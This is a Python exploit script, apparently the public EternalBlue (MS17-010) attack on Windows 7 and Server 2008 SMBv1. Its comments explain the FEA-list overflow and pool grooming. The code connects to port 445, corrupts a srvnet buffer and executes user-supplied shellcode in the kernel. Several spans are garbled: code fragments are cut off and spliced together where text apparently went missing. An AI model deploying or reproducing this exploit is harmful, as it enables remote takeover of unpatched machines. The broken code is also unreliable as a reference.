#!/usr/bin/python from impacket import smb from struct import pack import os import sys import socket ''' EternalBlue exploit for Windows 7/2008 by sleepya The exploit might FAIL and CRASH a target system (depended on what is overwritten) Tested on: - Windows 7 SP1 x64 - Windows 2008 R2 x64 Reference: - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ Bug detail: - For the bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - You can see SrvOs2FeaListToNt(), SrvOs2FeaListSizeToNt() and SrvOs2FeaToNt() functions logic from WinNT4 source code https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/ea.c#L263 - In vulnerable SrvOs2FeaListSizeToNt() function, there is a important change from WinNT4 in for loop. The psuedo code is here. if (nextFea > lastFeaStartLocation) { // this code is for shrinking FeaList->cbList because last fea is invalid. // FeaList->cbList is DWORD but it is cast to WORD. *(WORD *)FeaList = (BYTE*)fea - (BYTE*)FeaList; return size; } - Here is related struct info. ##### typedef struct _FEA { /* fea */ BYTE fEA; /* flags */ BYTE cbName; /* name length not including NULL */ USHORT cbValue; /* value length */ } FEA, *PFEA; typedef struct _FEALIST { /* feal */ DWORD cbList; /* total bytes of structure including full list */ FEA list[1]; /* variable length FEA structures */ } FEALIST, *PFEALIST; typedef struct _FILE_FULL_EA_INFORMATION { ULONG NextEntryOffset; UCHAR Flags; UCHAR EaNameLength; USHORT EaValueLength; CHAR EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; ###### Exploit info: - I do not reverse engineer any x86 binary so I do not know about exact offset. - The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode. This memory page is executable on Windows 7 and Wndows 2008. - The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64. - The exploit trick is same as NSA exploit - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) - See the code and comment for exploit detail. srvnet buffer info: - srvnet buffer contains a pointer to another struct and MDL about received buffer - Controlling MDL values results in arbitrary write - Controlling pointer to fake struct results in code execution because there is pointer to function - A srvnet buffer is created after target receiving first 4 bytes - First 4 bytes contains length of SMB message - The possible srvnet buffer size is "..., 0x8???, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough. - After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message - SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler() - SrvNetCommonReceiveHandler() passes SMB message to SMB handler - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen. - Memory leak is ok to be ignored ''' # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time # the size 0x11000 is used in nsa exploit. this size is more reliable. NTFEA_SIZE = 0x11000 # the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page ntfea10000 = pack(' SrvNetCommonReceiveHandler() -> call fn_ptr fake_recv_struct = pack('= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['UnicodePwdLength'] = 0 sessionSetup['Parameters']['Capabilities'] = 0x80000000 # set ByteCount here sessionSetup['Data'] = pack(' 0: pad2Len = (4 - fixedOffset % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len transCommand['Parameters']['DataDisplacement'] = displacement transCommand['Data']['Trans_Parameters'] = '' transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): pkt = smb.NewSMBPacket() pkt['Tid'] = tid command = pack(' 0: padLen = (4 - fixedOffset % 4 ) % 4 padBytes = '\xFF' * padLen transCommand['Data']['Pad1'] = padBytes else: transCommand['Data']['Pad1'] = '' padLen = 0 transCommand['Parameters']['ParameterCount'] = len(param) transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen if len(data) > 0: pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 transCommand['Data']['Pad2'] = '\xFF' * pad2Len else: transCommand['Data']['Pad2'] = '' pad2Len = 0 transCommand['Parameters']['DataCount'] = firstDataFragmentSize transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len transCommand['Data']['Trans_Parameters'] = param transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] pkt.addCommand(transCommand) conn.sendSMB(pkt) conn.recvSMB() # must be success i = firstDataFragmentSize while i < len(data): sendSize = min(4096, len(data) - i) if len(data) - i <= 4096: if not sendLastChunk: break send_trans2_second(conn, tid, data[i:i+sendSize], i) i += sendSize if sendLastChunk: conn.recvSMB() return i # connect to target and send a large nbss size with data 0x80 bytes # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) def createConnectionWithBigSMBFirst80(target): # https://msdn.microsoft.com/en-us/library/cc246496.aspx # Above link is about SMB2, but the important here is first 4 bytes. # If using wireshark, you will see the StreamProtocolLength is NBSS length. # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. # # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. sk = socket.create_connection((target, 445)) # For this exploit, use size is 0x11000 pkt = '\x00' + '\x00' + pack('>H', 0xfff7) # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. # Also this is invalid SMB2 message. # I believe NSA exploit use SMB2 for hiding alert from IDS #pkt += '\xffSMB' # smb2 # it can be anything even it is invalid pkt += 'BAAD' # can be any pkt += '\x00'*0x7c sk.send(pkt) return sk def exploit(target, shellcode, numGroomConn): # force using smb.SMB for SMB1 conn = smb.SMB(target, target) # can use conn.login() for ntlmv2 conn.login_standard('', '') server_os = conn.get_server_os() print('Target OS: '+server_os) if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")): print('This exploit does not support this target') sys.exit() tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/) # - SrvSmbNtTransaction() (smbtrans.c#L2677) # - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113) # - ExecuteTransaction() (smbtrans.c#L82) # - Call dispatch table (smbtrans.c#L347) # - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function) # - SrvSmbOpen2() (smbopen.c#L1002) # - call SrvOs2FeaListToNt() (smbopen.c#L1095) # https://msdn.microsoft.com/en-us/library/ee441720.aspx # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False) # we have to know what size of NtFeaList will be created when last fragment is sent # make sure server recv all payload before starting allocate big NonPaged #sendEcho(conn, tid, 'a'*12) # create buffer size NTFEA_SIZE-0x1000 at server # this buffer MUST NOT be big enough for overflown buffer allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one srvnetConn = [] for i in range(numGroomConn): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() # hope one of srvnetConn is next to holeConn for i in range(5): sk = createConnectionWithBigSMBFirst80(target) srvnetConn.append(sk) # send echo again, all new 5 srvnet buffers should be created #sendEcho(conn, tid, 'a'*12) # remove holeConn to create hole for fea buffer holeConn.get_socket().close() # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header send_trans2_second(conn, tid, feaList[progress:], progress) recvPkt = conn.recvSMB() retStatus = recvPkt.getNTStatus() # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag if retStatus == 0xc000000d: print('good response status: INVALID_PARAMETER') else: print('bad response status: 0x{:08x}'.format(retStatus)) # one of srvnetConn struct header should be modified # a corrupted buffer will write recv data in designed memory address for sk in srvnetConn: sk.send(fake_recv_struct + shellcode) # execute shellcode by closing srvnet connection for sk in srvnetConn: sk.close() # nicely close connection (no need for exploit) conn.disconnect_tree(tid) conn.logoff() conn.get_socket().close() if len(sys.argv) < 3: print("{} [numGroomConn]".format(sys.argv[0])) sys.exit(1) TARGET=sys.argv[1] numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) fp = open(sys.argv[2], 'rb') sc = fp.read() fp.close() print('shellcode size: {:d}'.format(len(sc))) print('numGroomConn: {:d}'.format(numGroomConn)) exploit(TARGET, sc, numGroomConn) print('done')